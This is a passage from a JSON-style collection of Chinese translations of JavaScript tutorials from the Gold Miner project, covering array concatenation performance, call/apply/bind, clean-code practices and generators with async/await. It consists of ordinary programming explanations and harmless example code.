`.push` 慢这么多的主要原因就是它创建了一个新数组，还需要额外将第一个数组的元素复制给这个新数组。\n\n现在对我来说还有另外一个迷……\n\n## 另一个迷\n\n为什么常规实现要比原生实现方式慢呢？🤔我再次向 [@picocreator](https://dev.to/picocreator) 寻求帮助。\n\n我们看了一下 lodash 的 `_.concat` 实现，想要获得一些关于 `.concat` 常规实现方法的提示，因为它们在性能上相当（lodash 要快一点点）。\n\n事实证明，根据 `.concat` 常规实现方式的规范，这个方法被重载，并且支持两种传参方式：\n\n1.  传递要添加的 n 个值作为参数，例如：`[1,2].concat(3,4,5)`\n2.  传递要合并的数组作为参数，例如：`[1,2].concat([3,4,5])`\n\n你甚至可以这样写：`[1,2].concat(3,4,[5,6])`\n\nLodash 一样做了重载，支持两种传参方式，lodash 将所有的参数放入一个数组，然后将它拍平。所以如果你给它传递多个数组的也可以说得通。但是当你传递一个需要合并的数组时，它将不仅仅使用数组本身，而是将它复制到一个新的数组中，然后再把它拍平。\n\n……好吧……\n\n所以绝对可以对性能做优化。这也是你为什么想要自己实现合并数组的原因。\n\n此外，这只是我和 [@picocreator](https://dev.to/picocreator) 基于 Lodash 的源码以及他对 V8 源码略微过时的了解，对 `.concat` 的常规实现如何在引擎中工作的理解。\n\n你可以在空闲的时间点击[这里](https://github.com/lodash/lodash/blob/4.17.11/lodash.js#L6913)阅读 lodash 的源码。\n\n* * *\n\n### 补充说明\n\n1.  我们的测试仅仅使用了包含整数的数组。我们都知道 Javascript 引擎使用规定类型的数组可以更快地执行。如果数组中有对象，结果预计会更慢。\n    \n2.  以下是用于运行基准测试的 PC 的规格：\n\n[![PC specs for the performance tests](https://res.cloudinary.com/practicaldev/image/fetch/s--rsJtFcLH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/fl7utbii6ivyifs66q2t.PNG)](https://res.cloudinary.com/practicaldev/image/fetch/s--rsJtFcLH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/fl7utbii6ivyifs66q2t.PNG)\n    \n\n* * *\n\n## 为什么我们在 UI-licious 测试期间会进行如此大的数组操作呢？\n\n[![Uilicious Snippet dev.to test](https://res.cloudinary.com/practicaldev/image/fetch/s--5llcnkKt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/gyrtj5lk2b2bn89z7ra1.gif)](https://snippet.uilicious.com/test/public/1cUHCW368zsHrByzHCkzLE)\n\n从工作原理上来说，UI-licious 测试引擎扫描目标应用程序的 DOM 树，评估语义、可访问属性和其他常见模式，来确定目标元素以及测试方法。\n\n这样我们就可以确保像下面这样简单地编写测试：\n\n```\n// 跳转到 dev.to\nI.goTo(\"https://dev.to\")\n\n// 在搜索框进行输入和搜索\nI.fill(\"Search\", \"uilicious\")\nI.pressEnter()\n\n// 我应该可以看见我自己和我的联合创始人\nI.see(\"Shi Ling\")\nI.see(\"Eugene Cheah\")\n```\n\n没有使用 CSS 或 XPATH 选择器，这样可以使测试更易读，对 UI 中的更改也不太敏感，并且更易于维护。\n\n### 注意：公共服务公告 —— 请保持小数量的 DOM！\n\n不幸的是，由于人们正在使用现代前端框架来构建越来越复杂和动态的应用程序，DOM 树有越来越大的趋势。框架是一把双刃剑，它允许我们更快地开发，但是人们常常忘记框架平添了多少累赘。在检查各种网站的源代码时，那些单纯为了包裹其他元素而存在的元素的数量经常会吓到我。\n\n如果你想知道你的网站是否有太多 DOM 节点，你可以运行 [Lighthouse](https://developers.google.com/web/tools/lighthouse/) 查看。\n\n[![Google Lighthouse](https://res.cloudinary.com/practicaldev/image/fetch/s--OZ3aIjva--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://developers.google.com/web/progressive-web-apps/images/pwa-lighthouse.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--OZ3aIjva--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://developers.google.com/web/progressive-web-apps/images/pwa-lighthouse.png)\n\n根据 Google 的说法，最佳 DOM 树是：\n\n*   少于 1500 个节点\n*   深度少于 32 级\n*   父节点拥有少于 60 个子节点\n\n对 Dev.to feed 的快速检查表明它的 DOM 树的大小非常好：\n\n*   总计 941 个节点\n*   最大深度为 14\n*   子元素的最大数量为 49 个\n\n还不错！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-call-apply-and-bind.md",
    "content": "> - 原文地址：[Javascript: call(), apply() and bind()](https://medium.com/@omergoldberg/javascript-call-apply-and-bind-e5c27301f7bb)\n> - 原文作者：[Omer Goldberg](https://medium.com/@omergoldberg?source=post_header_lockup)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-call-apply-and-bind.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-call-apply-and-bind.md)\n> - 译者：[YueYong](https://github.com/YueYongDev)\n> - 校对者：[Guangping](https://github.com/GpingFeng), [sun](https://github.com/sunui)\n\n# Javascript: call()、apply() 和 bind()\n\n### 回顾一下 “this”\n\n我们了解到，在面向对象的 JS 中，一切都是对象。因为一切都是对象，我们开始明白我们可以为函数设置并访问额外的属性。\n\n通过原型给函数设置属性并且添加其他方法非常棒...**但是我们如何访问它们？！？？？！**\n\n![](https://cdn-images-1.medium.com/max/800/1*IWxOuXB3csN4_na6SSm_Rg.gif)\n\n当他说 “myself” 时，他的确意味着 ‘this’\n\n我们介绍过 `this` 关键字。我们了解到每个函数都会自动获取此属性。所以这时，如果我们创建一个有关我们函数执行上下文的抽象模型（我不是唯一一个这么做的人！...对吗？！？！），它看起来就会像这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*oGDRHlH5QWXTFTenWvMaBw.png)\n\n我们花了一些时间来熟悉 `this` 关键字，但是一旦我们这样做了，我们就开始意识到它是多么有用了。`this` 在函数内部使用，并且总是引用单个对象 — [这个对象会在使用 “this” 的地方调用函数](http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/)。\n\n但是生活肯定都不是完美的。有时候我们会失去 `this` 的引用。当这种情况发生时，我们最终使用了令人困惑的解决方法去保存我们对于 `this`  的引用。让我们通过[ localSorage 练习](https://github.com/Arieg419/ITCCodingBootcamp/blob/master/localStorage/eBay.js)来看看这个方法吧：\n\n![](https://cdn-images-1.medium.com/max/800/1*aE3Ao2PIEo21WK7C6Ofdfg.png)\n\n第 31 行 :(\n\n那为什么我需要保存 `this` 引用呢？因为在 deleteBtn.addEventListener 中，`this` 指向了 _deleteBtn_ 对象。这并不太好。有更好的解决方案吗？\n\n---\n\n### call()、apply() 和 bind() — 一个新的希望\n\n到目前为止，我们已将函数视为由名称（可选，也可以是匿名函数）及其在调用时执行的代码所组成的对象。但这并不是全部真相。作为一个 热爱真理的人，我必须让你知道一个函数实际上看起来更接近下面的图像：\n\n![](https://cdn-images-1.medium.com/max/800/1*TkzF3ckhM9Xf_U9XFaCyhA.png)\n\n这是什么？？？？？？？别担心！现在，我将通过示例介绍每个函数中出现的这 3 种类似方法。真是很让人兴奋呢！\n\n### **bind()**\n\n[官方文档说：](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind) **`bind()`** 方法创建一个新函数，在调用时，将其 `this` 关键字设置为所需的值。（它实际上谈论了更多的东西，但我们将把它留到下一次讲）\n\n这非常强大。它让我们在调用函数时明确定义 `this` 的值。我们来看看 cooooode：\n\n```\nvar pokemon = {\n    firstname: 'Pika',\n    lastname: 'Chu ',\n    getPokeName: function() {\n        var fullname = this.firstname + ' ' + this.lastname;\n        return fullname;\n    }\n};\n\nvar pokemonName = function() {\n    console.log(this.getPokeName() + 'I choose you!');\n};\n\nvar logPokemon = pokemonName.bind(pokemon); // creates new object and binds pokemon. 'this' of pokemon === pokemon now\n\nlogPokemon(); // 'Pika Chu I choose you!'\n```\n\n在第 14 行使用了 `bind（）方法`。\n\n**我们来逐个分析。** 当我们使用了 `bind()` 方法：\n\n1. JS 引擎创建了一个新的 `pokemonName` 的实例，并将 `pokemon` 绑定到 `this` 变量。 重要的是要理解**它复制了 pokemonName 函数。**\n2. 在创建了 `pokemonName` 函数的副本之后，它可以调用 `logPokemon()` 方法，尽管它最初不在`pokemon` 对象上。它现在将识别其属性（Pika 和 Chu）及其方法。\n\n很酷的是，在我们 bind() 一个值后，我们可以像使用任何其他正常函数一样使用该函数。我们甚至可以更新函数来接受参数，并像这样传递它们：\n\n```\nvar pokemon = {\n    firstname: 'Pika',\n    lastname: 'Chu ',\n    getPokeName: function() {\n        var fullname = this.firstname + ' ' + this.lastname;\n        return fullname;\n    }\n};\n\nvar pokemonName = function(snack, hobby) {\n    console.log(this.getPokeName() + 'I choose you!');\n    console.log(this.getPokeName() + ' loves ' + snack + ' and ' + hobby);\n};\n\nvar logPokemon = pokemonName.bind(pokemon); // creates new object and binds pokemon. 'this' of pokemon === pokemon now\n\nlogPokemon('sushi', 'algorithms'); // Pika Chu  loves sushi and algorithms\n\n```\n\n### call(), apply()\n\n[call() 方法的官方文档说：](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call)**`call()`** 方法调用一个给定 `this`  值的函数，并单独提供参数。\n\n这意味着，我们可以调用任何函数，并明确指定 `this` 应该在调用函数中引用的内容。真的类似于 `bind()` 方法！这绝对可以让我们免于编写 hacky 代码（即使我们仍然是 hackerzzz）。\n\n`bind()` 和 `call()` 之间的主要区别在于 `call()` 方法：\n\n1. 支持接受其他参数\n2. 当它被调用的时候，立即执行函数。\n3. `call()` 方法不会复制正在调用它的函数。\n\n`call()` 和`apply()` 使用于**完全相同的目的。** **它们工作方式之间的唯一区别**是 `call()` 期望所有参数都单独传递，而 `apply()` 需要所有参数的数组。例如：\n\n```\nvar pokemon = {\n    firstname: 'Pika',\n    lastname: 'Chu ',\n    getPokeName: function() {\n        var fullname = this.firstname + ' ' + this.lastname;\n        return fullname;\n    }\n};\n\nvar pokemonName = function(snack, hobby) {\n    console.log(this.getPokeName() + ' loves ' + snack + ' and ' + hobby);\n};\n\npokemonName.call(pokemon,'sushi', 'algorithms'); // Pika Chu  loves sushi and algorithms\npokemonName.apply(pokemon,['sushi', 'algorithms']); // Pika Chu  loves sushi and algorithms\n```\n\n注意，apply 接受数组，call 接受每个单独的参数。\n\n这些存在于每一个 JS 函数的内置方法都非常有用。即使你最终没有在日常编程中使用它们，你仍然会在阅读其他人的代码时经常遇到它们。\n\n如果您有任何疑问，请一如既往地通过 [Instagram](https://www.instagram.com/omeragoldberg/) 与我们联系。❤\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-clean-code-best-practices.md",
    "content": "> * 原文地址：[JavaScript Clean Code - Best Practices](https://devinduct.com/blogpost/22/javascript-clean-code-best-practices)\n> * 原文作者：[Milos Protic](https://devinduct.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-clean-code-best-practices.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-clean-code-best-practices.md)\n> * 译者：[xilihuasi](https://github.com/xilihuasi)\n> * 校对者：[smilemuffie](https://github.com/smilemuffie)、[Xuyuey](https://github.com/Xuyuey)\n\n# JavaScript 简明代码 —— 最佳实践\n\n## 引言\n\n如果你不只是担心你的代码是否能生效，还会关注代码本身及其如何编写，那你可以说你有在关注简明代码并在努力实践。专业的开发者会面向其未来和**其他人**而不仅是为了机器编写代码。你写的任何代码都不会只写一次，而是会待在那等待未来维护代码的人，让他痛苦不堪。希望那个未来的家伙不会是你。\n\n基于上述情况，简明代码可以被定义为**代码以不言自明，易于理解且易于更改或扩展的方式编写**。\n\n回想一下有多少次你接手别人工作时的第一印象是下面几个 **WTF** 问题之一？\n\n**“这 TM 是啥？”**\n\n**“你 TM 在这干了啥”**\n\n**“这 TM 是干啥的？”**\n\n有一个很火的图片描绘了上述场景。\n\n![img](https://camo.githubusercontent.com/2050cd696ecddcabad1380b1964c48a60597323e/687474703a2f2f7777772e6f736e6577732e636f6d2f696d616765732f636f6d6963732f7774666d2e6a7067)\n\n**Robert C. Martin (Bob 叔叔)** 的一句名言应该会启发你思考你的方式。\n\n> **即使是糟糕的代码也能运行。但是如果代码不够简明，它会让开发组织陷入困境。**\n\n在本文中，重点将放在 JavaScript 上，但是原则可以应用于其他编程语言。\n\n## 你要的干货来了 —— 简明代码最佳实践\n\n### 1. 强类型检查\n\n使用 `===` 而不是 `==`\n\n```js\n// 如果处理不当，它会在很大程度上影响程序逻辑。就像，你期待向左走，但由于某些原因，你向右走了。\n0 == false // true\n0 === false // false\n2 == \"2\" // true\n2 === \"2\" // false\n\n// 例子\nconst value = \"500\";\nif (value === 500) {\n  console.log(value);\n  // 不会执行\n}\n\nif (value === \"500\") {\n  console.log(value);\n  // 会执行\n}\n```\n\n### 2. 变量\n\n变量命名要直接表明其背后的意图。这种方式方便代码搜索并且易于他人理解。\n\n糟糕示例：\n\n```js\nlet daysSLV = 10;\nlet y = new Date().getFullYear();\n\nlet ok;\nif (user.age > 30) {\n  ok = true;\n}\n```\n\n良好示例：\n\n```js\nconst MAX_AGE = 30;\nlet daysSinceLastVisit = 10;\nlet currentYear = new Date().getFullYear();\n\n...\n\nconst isUserOlderThanAllowed = user.age > MAX_AGE;\n```\n\n不要给变量名称添加不必要的单词。\n\n糟糕示例：\n\n```js\nlet nameValue;\nlet theProduct;\n```\n\n良好示例：\n\n```js\nlet name;\nlet product;\n```\n\n不要强制他人记住变量的上下文。\n\n糟糕示例：\n\n```js\nconst users = [\"John\", \"Marco\", \"Peter\"];\nusers.forEach(u => {\n  doSomething();\n  doSomethingElse();\n  // ...\n  // ...\n  // ...\n  // ...\n  // 这里有 WTF 场景：`u` TM 是啥？\n  register(u);\n});\n```\n\n良好示例：\n\n```js\nconst users = [\"John\", \"Marco\", \"Peter\"];\nusers.forEach(user => {\n  doSomething();\n  doSomethingElse();\n  // ...\n  // ...\n  // ...\n  // ...\n  register(user);\n});\n```\n\n不要添加不必要的上下文。\n\n糟糕示例：\n\n```js\nconst user = {\n  userName: \"John\",\n  userSurname: \"Doe\",\n  userAge: \"28\"\n};\n\n...\n\nuser.userName;\n```\n\n良好示例：\n\n```js\nconst user = {\n  name: \"John\",\n  surname: \"Doe\",\n  age: \"28\"\n};\n\n...\n\nuser.name;\n```\n\n### 3. 函数\n\n使用长而具有描述性的名称。考虑到它代表某种行为，函数名称应该是暴露其背后意图的动词或者短语，参数也是如此。它们的名称应该表明它们要做什么。\n\n糟糕示例：\n\n```js\nfunction notif(user) {\n  // implementation\n}\n```\n\n良好示例：\n\n```js\nfunction notifyUser(emailAddress) {\n  // implementation\n}\n```\n\n避免使用大量参数。理想情况下，函数参数不应该超过两个。参数越少，函数越易于测试。\n\n糟糕示例：\n\n```js\nfunction getUsers(fields, fromDate, toDate) {\n  // implementation\n}\n```\n\n良好示例：\n\n```js\nfunction getUsers({ fields, fromDate, toDate }) {\n  // implementation\n}\n\ngetUsers({\n  fields: ['name', 'surname', 'email'],\n  fromDate: '2019-01-01',\n  toDate: '2019-01-18'\n});\n```\n\n使用默认参数代替条件语句。\n\n糟糕示例：\n\n```js\nfunction createShape(type) {\n  const shapeType = type || \"cube\";\n  // ...\n}\n```\n\n良好示例：\n\n```js\nfunction createShape(type = \"cube\") {\n  // ...\n}\n```\n\n一个函数应该只做一件事。禁止在单个函数中执行多个操作。\n\n糟糕示例：\n\n```js\nfunction notifyUsers(users) {\n  users.forEach(user => {\n    const userRecord = database.lookup(user);\n    if (userRecord.isVerified()) {\n      notify(user);\n    }\n  });\n}\n```\n\n良好示例：\n\n```js\nfunction notifyVerifiedUsers(users) {\n  users.filter(isUserVerified).forEach(notify);\n}\n\nfunction isUserVerified(user) {\n  const userRecord = database.lookup(user);\n  return userRecord.isVerified();\n}\n```\n\n使用 `Object.assign` 设置默认对象。\n\n糟糕示例：\n\n```js\nconst shapeConfig = {\n  type: \"cube\",\n  width: 200,\n  height: null\n};\n\nfunction createShape(config) {\n  config.type = config.type || \"cube\";\n  config.width = config.width || 250;\n  config.height = config.width || 250;\n}\n\ncreateShape(shapeConfig);\n```\n\n良好示例：\n\n```js\nconst shapeConfig = {\n  type: \"cube\",\n  width: 200\n  // Exclude the 'height' key\n};\n\nfunction createShape(config) {\n  config = Object.assign(\n    {\n      type: \"cube\",\n      width: 250,\n      height: 250\n    },\n    config\n  );\n\n  ...\n}\n\ncreateShape(shapeConfig);\n```\n\n不要使用标志变量作为参数，因为这表明函数做了它不应该做的事。\n\n糟糕示例：\n\n```js\nfunction createFile(name, isPublic) {\n  if (isPublic) {\n    fs.create(`./public/${name}`);\n  } else {\n    fs.create(name);\n  }\n}\n```\n\n良好示例：\n\n```js\nfunction createFile(name) {\n  fs.create(name);\n}\n\nfunction createPublicFile(name) {\n  createFile(`./public/${name}`);\n}\n```\n\n不要污染全局变量。如果你要扩展一个已存在的对象，使用 ES 类继承而不是在原生对象的原型链上创建函数。\n\n糟糕示例：\n\n```js\nArray.prototype.myFunc = function myFunc() {\n  // implementation\n};\n```\n\n良好示例：\n\n```js\nclass SuperArray extends Array {\n  myFunc() {\n    // implementation\n  }\n}\n```\n\n### 4. 条件语句\n\n避免使用否定条件。\n\n糟糕示例：\n\n```js\nfunction isUserNotBlocked(user) {\n  // implementation\n}\n\nif (!isUserNotBlocked(user)) {\n  // implementation\n}\n```\n\n良好示例：\n\n```js\nfunction isUserBlocked(user) {\n  // implementation\n}\n\nif (isUserBlocked(user)) {\n  // implementation\n}\n```\n\n使用条件语句简写。这可能不那么重要，但是值得一提。仅将此方法用于布尔值，并且确定该值不是 `undefined` 和 `null`。\n\n糟糕示例：\n\n```js\nif (isValid === true) {\n  // do something...\n}\n\nif (isValid === false) {\n  // do something...\n}\n```\n\n良好示例：\n\n```js\nif (isValid) {\n  // do something...\n}\n\nif (!isValid) {\n  // do something...\n}\n```\n\n尽可能避免条件语句，使用多态和继承。\n\n糟糕示例：\n\n```js\nclass Car {\n  // ...\n  getMaximumSpeed() {\n    switch (this.type) {\n      case \"Ford\":\n        return this.someFactor() + this.anotherFactor();\n      case \"Mazda\":\n        return this.someFactor();\n      case \"McLaren\":\n        return this.someFactor() - this.anotherFactor();\n    }\n  }\n}\n```\n\n良好示例：\n\n```js\nclass Car {\n  // ...\n}\n\nclass Ford extends Car {\n  // ...\n  getMaximumSpeed() {\n    return this.someFactor() + this.anotherFactor();\n  }\n}\n\nclass Mazda extends Car {\n  // ...\n  getMaximumSpeed() {\n    return this.someFactor();\n  }\n}\n\nclass McLaren extends Car {\n  // ...\n  getMaximumSpeed() {\n    return this.someFactor() - this.anotherFactor();\n  }\n}\n```\n\n### 5. ES 类\n\n类是 JavaScript 中的新语法糖。一切都像之前使用原型一样现在只不过看起来不同，并且你应该喜欢它们胜过 ES5 普通函数。\n\n糟糕示例：\n\n```js\nconst Person = function(name) {\n  if (!(this instanceof Person)) {\n    throw new Error(\"Instantiate Person with `new` keyword\");\n  }\n\n  this.name = name;\n};\n\nPerson.prototype.sayHello = function sayHello() { /**/ };\n\nconst Student = function(name, school) {\n  if (!(this instanceof Student)) {\n    throw new Error(\"Instantiate Student with `new` keyword\");\n  }\n\n  Person.call(this, name);\n  this.school = school;\n};\n\nStudent.prototype = Object.create(Person.prototype);\nStudent.prototype.constructor = Student;\nStudent.prototype.printSchoolName = function printSchoolName() { /**/ };\n```\n\n良好示例：\n\n```js\nclass Person {\n  constructor(name) {\n    this.name = name;\n  }\n\n  sayHello() {\n    /* ... */\n  }\n}\n\nclass Student extends Person {\n  constructor(name, school) {\n    super(name);\n    this.school = school;\n  }\n\n  printSchoolName() {\n    /* ... */\n  }\n}\n```\n\n使用方法链。诸如 jQuery 和 Lodash 之类的很多库都使用这个模式。这样的话，你的代码就会减少冗余。在你的类中，只用在每个函数末尾返回 `this`，然后你就可以在它上面链式调用更多的类方法了。\n\n糟糕示例：\n\n```js\nclass Person {\n  constructor(name) {\n    this.name = name;\n  }\n\n  setSurname(surname) {\n    this.surname = surname;\n  }\n\n  setAge(age) {\n    this.age = age;\n  }\n\n  save() {\n    console.log(this.name, this.surname, this.age);\n  }\n}\n\nconst person = new Person(\"John\");\nperson.setSurname(\"Doe\");\nperson.setAge(29);\nperson.save();\n```\n\n良好示例：\n\n```js\nclass Person {\n  constructor(name) {\n    this.name = name;\n  }\n\n  setSurname(surname) {\n    this.surname = surname;\n    // Return this for chaining\n    return this;\n  }\n\n  setAge(age) {\n    this.age = age;\n    // Return this for chaining\n    return this;\n  }\n\n  save() {\n    console.log(this.name, this.surname, this.age);\n    // Return this for chaining\n    return this;\n  }\n}\n\nconst person = new Person(\"John\")\n    .setSurname(\"Doe\")\n    .setAge(29)\n    .save();\n```\n\n### 6. 通用原则\n\n一般来说，你应该尽力不要重复自己的工作，意思是你不应该写重复代码，并且不要在你身后留下尾巴比如未使用的函数和死代码。\n\n出于各种原因，你最终可能会遇到重复的代码。例如，你有两个大致相同只有些许不同的东西，它们不同的特性或者时间紧迫使你单独创建了两个包含几乎相同代码的函数。在这种情况下删除重复代码意味着抽象化差异并在该层级上处理它们。\n\n关于死代码，码如其名。它是在我们代码库中不做任何事情的代码，在开发的某个阶段，你决定它不再有用了。你应该在代码库中搜索这些部分然后删除所有不需要的函数和代码块。我可以给你的建议是一旦你决定不再需要它，删除它。不然你就会忘了它的用途。\n\n这有一张图表明你当时可能会有的感受。\n\n![img](https://pics.me.me/sometimes-my-code-dont-know-what-it-does-but-i-49866360.png)\n\n## 结语\n\n这只是改进代码所能做的一小部分。在我看来，这里所说的原则是人们经常不遵循的原则。他们有过尝试，但由于各种原因并不总是奏效。可能项目刚开始代码还是整洁的，但当截止日期快到了，这些原则通常会被忽略，被移入“**待办**”或者“**重构**”部分。在那时候，客户宁愿让你赶上截止日期而不是写简明的代码。\n\n就这样！\n\n感谢阅读，下篇文章见。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-generator-yield-next-async-await.md",
    "content": "> * 原文地址：[Javascript - Generator-Yield/Next & Async-Await](https://codeburst.io/javascript-generator-yield-next-async-await-e428b0cb52e4)\n> * 原文作者：[Deepak Gupta](https://codeburst.io/@ideepak.jsd)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-generator-yield-next-async-await.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-generator-yield-next-async-await.md)\n> * 译者：[acev](https://github.com/acev-online)\n> * 校对者：[huimingwu](https://github.com/huimingwu), [zsky](https://github.com/zsky)\n\n# Javascript - Generator-Yield/Next 和 Async-Await\n\n![](https://cdn-images-1.medium.com/max/2000/0*yONeU8vuaq8eIyTD)\n\nGenerator (ES6)\n\n> generator 函数是一个可以根据用户需求，在不同的时间间隔返回多个值，并能管理其内部状态的函数。如果一个函数使用了 <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*\" title=\" function* 声明（function 关键字后跟着星号）定义了一个 Generator 函数，它返回一个 Generator 对象。\" rel=\"noopener\">function*</a> 语法，那么它就变成了一个 generator 函数。\n\n它们与正常函数不同，正常函数在单次执行中完成运行，而 **generator 函数可以被暂停和恢复**。它们确实会运行完成，但触发器在我们手中。它们使得**对异步函数能有更好的执行控制**，但这并不意味着它们不能用作同步函数。\n\n> 注意：执行 generator 函数时，会返回一个新的 Generator 对象。\n\ngenerator 的暂停和恢复是使用 `yield` 和 `next` 完成的。让我们来看看它们是什么，以及它们能做什么。\n\n#### Yield/Next\n\n> `yield` 关键字暂停 generator 函数的执行，并且 `yield` 关键字后面的表达式的值将返回给 generator 的调用者。它可以被理解为基于 generator 版本的 `return` 关键字。\n\n`yield` 关键字实际上返回一个具有 `value` 和 `done` 两个属性的 `IteratorResult` 对象。（[如果你不了解什么是 iterators 和 iterables，点击这里阅读](https://codeburst.io/javascript-es6-iterables-and-iterators-de18b54f4d4)）。\n\n> 一旦暂停 `yield` 表达式，generator 的代码执行将保持暂停状态，直到调用 generator 的 `next()` 方法为止。每次调用 generator 的 `next()` 方法时，generator 都会恢复执行并返回 [iterator](https://codeburst.io/javascript-es6-iterables-and-iterators-de18b54f4d4) 结果。\n\n嗯……理论先到这里，让我们看一个例子：\n\n```js\nfunction* UUIDGenerator() {\n    let d, r;\n    while(true) {\n        yield 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {\n            r = (new Date().getTime() + Math.random()*16)%16 | 0;\n            d = Math.floor(d/16);\n            return (c=='x' ? r : (r&0x3|0x8)).toString(16);\n        });\n    }\n};\n```\n\nUUIDGenerator 是一个 generator 函数，它使用当前时间和随机数计算 UUID ，并在每次执行时返回一个新的 UUID 。\n\n要运行上面的函数，我们需要创建一个可以调用 `next()` 的 generator 对象：\n\n```js\nconst UUID = UUIDGenerator();\n// UUID is our generator object\n\nUUID.next() \n// return {value: 'e35834ae-8694-4e16-8352-6d2368b3ccbf', done: false}\n```\n每次 UUID.next() 返回值的 value 值是新的 UUID ，done 值将始终为 false ，因为我们处于一个无限循环中。\n\n> 注意：我们在无限循环上暂停，这是一种很酷的方式。在 generator 函数中的任何“停止点”处，不仅可以为外部函数生成值，还可以从外部接收值。\n\n有许多 generator 的实现，并且很多库都在大量使用。比如说 [co](https://github.com/tj/co)、[koa](https://koajs.com/) 和 [redux-saga](https://github.com/redux-saga/redux-saga)。\n\n* * *\n\n#### Async/Await (ES7)\n\n![](https://cdn-images-1.medium.com/max/1600/0*LAkE4GiZATgtseM5)\n\n依照惯例，当一个异步操作返回由 `Promise` 处理的数据时，回调会被传递并调用。\n\n> Async/Await 是一种特殊的语法，以更舒适的方式使用 Promise，这种方式非常容易理解和使用。\n\n**Async 关键字**用于定义**异步函数** ，该函数返回一个 <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction\" title=\" AsyncFunction 构造函数创建一个新的异步函数对象。在 JavaScript 中，每个异步函数实际上都是一个 AsyncFunction 对象。\" rel=\"noopener\" >AsyncFunction</a> 对象。\n\n**Await 关键字**用于暂停异步函数执行，直到 `Promise` 被解决（resolved 或者 rejected），并在完成后继续执行 `async` 函数。恢复时，await 表达式的值是已执行的 Promise 的值。\n\n**关键点：**\n\n> 1. Await 只能在异步函数中使用。\n> 2. 具有 async 关键字的函数将**始终**返回 promise。\n> 3. 在相同函数下的多个 await 语句将始终按顺序运行。\n> 4. 如果 promise 正常被 resolve，则 `await` 